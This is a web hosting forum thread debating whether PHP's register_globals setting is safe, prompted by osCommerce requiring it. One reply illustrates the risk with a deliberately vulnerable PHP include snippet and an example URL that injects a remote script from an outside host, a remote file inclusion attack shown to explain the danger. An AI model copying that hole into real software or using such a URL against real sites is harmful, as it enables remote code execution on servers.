Results 1 to 8 of 8

Thread: register_globals on or off ??

  1. #1
    Member
    Join Date
    May 2002
    Posts
    139

    Default register_globals on or off ??

    i have up untill now had register_globals = on, but am now changing it to off

    here's my question

    every post i see tells me that having register_globals = on is a major security issue, however osCommerce requires it to be on, does this mean that osCommerce is insecure or is having register globals = on not such a security issue.

    im confused

  2. #2
    Technical Product Specialist cPanelDavidG's Avatar
    Join Date
    Nov 2006
    Location
    Houston, TX
    Posts
    11,307
    cPanel/WHM Access Level

    Root Administrator

    Default

    Requiring register_globals is commonly accepted as being very poor programming practice among PHP coders. Enabling register_globals is a security risk from the perspective of the system administrators. In fact, some PHP apps now will refuse to function in an environment where register_globals is on due to the security risk.

    Generally the advice is that if a PHP application requires register_globals, you may want to consider another PHP application.

    Also, many PHP coders are beginning to prepare for PHP 6, where register_globals will no longer be available. If something is still requiring register_globals, it's a bit behind the times as far as PHP coding standards go.

  3. #3
    Member
    Join Date
    May 2002
    Posts
    139

    Default

    i would have thought osCommerce (being one of the most popular shopping carts) would have been pretty safe to use but maybe its not the best ??

  4. #4
    Member
    Join Date
    Aug 2002
    Posts
    1,129

    Default

    I recently wrote up an article concerning this.

    In regards to osCommerce, I just think their developers have fallen asleep. Is the project even being actively developed any more?

    I would really be afraid to use osCommerce, because if they are willing to ignore the issue such as register_globals, what other issues are they ignoring? Do you really feel safe knowing that your e-commerce website is handled by such a piece of software? What if a major, major vulnerability is found in osCommerce, are they going to sit on their hands for 10 years before releasing a fix?

    This isn't to say that having register_globals disabled will instantly bring you a ton of extra security. Its also not to say that by writing a script that requires register_globals to be enabled is a security flaw. But the common conception regarding register_globals is that it should be turned off. Script developers should be aware of this and should have already adjusted their scripts to function in this manner.

  5. #5
    Member twhiting9275's Avatar
    Join Date
    Sep 2002
    Posts
    368
    cPanel/WHM Access Level

    Root Administrator

    Default

    Here's my 0.02:
    globals themselves are not bad, as long as you secure them. The problem is that wanna be coders get in there and write crappy scripts cheaply , and decide 'hey, we're just not going to secure our globals at all'. This (of course) leads to hacking, problems, and just all around bad things.

    Now, should they be required on or off? Well, as of php6, you won't have a choice. Thank the gods that's not for a while, but still, it'll happen, eventually. Personally, I'm still getting ready for that day (I do use a few globals, properly secured, of course), but it'll be a bloody nightmare when everything gets there.

    Personally, I say leave 'em on ,for now. When PHP makes you turn 'em off, do so, but not until. Otherwise, this will cause some HUGE problems with pretty common software.
    Linux Tech Networks: Reliable Server Administration and Monitoring since 2002

  6. #6
    Technical Product Specialist cPanelDavidG's Avatar
    Join Date
    Nov 2006
    Location
    Houston, TX
    Posts
    11,307
    cPanel/WHM Access Level

    Root Administrator

    Default

    Quote Originally Posted by twhiting9275 View Post
    Here's my 0.02:
    globals themselves are not bad, as long as you secure them. The problem is that wanna be coders get in there and write crappy scripts cheaply , and decide 'hey, we're just not going to secure our globals at all'. This (of course) leads to hacking, problems, and just all around bad things.

    Now, should they be required on or off? Well, as of php6, you won't have a choice. Thank the gods that's not for a while, but still, it'll happen, eventually. Personally, I'm still getting ready for that day (I do use a few globals, properly secured, of course), but it'll be a bloody nightmare when everything gets there.

    Personally, I say leave 'em on ,for now. When PHP makes you turn 'em off, do so, but not until. Otherwise, this will cause some HUGE problems with pretty common software.
    Note that globals (global variables) is a completely different thing from register_globals. Anyone who is spending enough time to secure their PHP scripts will likely spend a few seconds to avoid the need for register_globals.

    If you're not familiar with global variables from a programming standpoint, here's a link to the Wikipedia article on it:

    http://en.wikipedia.org/wiki/Global_variable

    In PHP, register_globals allows any parameter passed to the script to be assigned to a global variable (including overwriting the values of existing global variables, hence the danger of this setting). Let's say you have this PHP script named exploit_me.php:

    PHP Code:
    // Warning: never code like this in a register_globals environment
    $include_file "myinclude.inc";

    // Note the lack of anything polling GET or POST variables explicitly.
    include($include_file); 
    Now lets say you call this URL:

    Code:
    http://yourDomain.com/exploit_me.php?include_file=http://myDomain.com/xss.php
    My XSS script would then run on your server since you have register_globals enabled and I'm overwriting the include_file global variable with my own data.

    While this is an obvious example, don't expect the this to be as obvious in many scripts. How do people know what variables you are using? Well most scripts people use are open source so you can just look at the source.

    I hope this clears some misconceptions of register_globals vs. PHP global variables.
    Last edited by cPanelDavidG; 12-03-2007 at 09:28 AM. Reason: So you can see the full URL being called.

  7. #7
    Member
    Join Date
    Sep 2006
    Posts
    5

    Default

    Hello,

    Instead of setting the variable register_globals = on you ned to apply the patch at the URL http://www.oscommerce.com/community/contributions,2097.

    Once it is applied,, register_globals MUST be disabled otherwise it will not work.
    Regards,
    Bibin
    Jr. Systems Engineer
    http://SupportPRO.com :: Transparent Web Hosting Support Services to Web Hosting Businesses ..

  8. #8
    Member
    Join Date
    Jul 2008
    Posts
    65

    Default

    A while back, I had the misfortune of having to set up oscommerce for customers, including trying to integrate add-ons. The code nearly made me scream in horror.

    I have heard good stuff about Zen Cart, which I believe is similar. I haven't looked at it in depth, though. You should probably take a look at it. And if you're a Drupal fan, there's the e-Commerce modules, as well as the Ubercart system.

Similar Threads

  1. on/off register_globals
    By arturoz in forum cPanel & WHM Discussions
    Replies: 0
    Last Post: 04-01-2009, 03:12 AM
  2. Can't enable register_globals
    By xxkylexx in forum cPanel & WHM Discussions
    Replies: 22
    Last Post: 08-31-2007, 04:24 PM
  3. register_globals On
    By rip_curl in forum cPanel & WHM Discussions
    Replies: 31
    Last Post: 09-08-2006, 03:45 PM
  4. register_globals
    By bh2006 in forum cPanel & WHM Discussions
    Replies: 4
    Last Post: 06-20-2006, 07:35 AM
  5. register_globals help please
    By shann in forum cPanel & WHM Discussions
    Replies: 9
    Last Post: 08-10-2005, 11:35 AM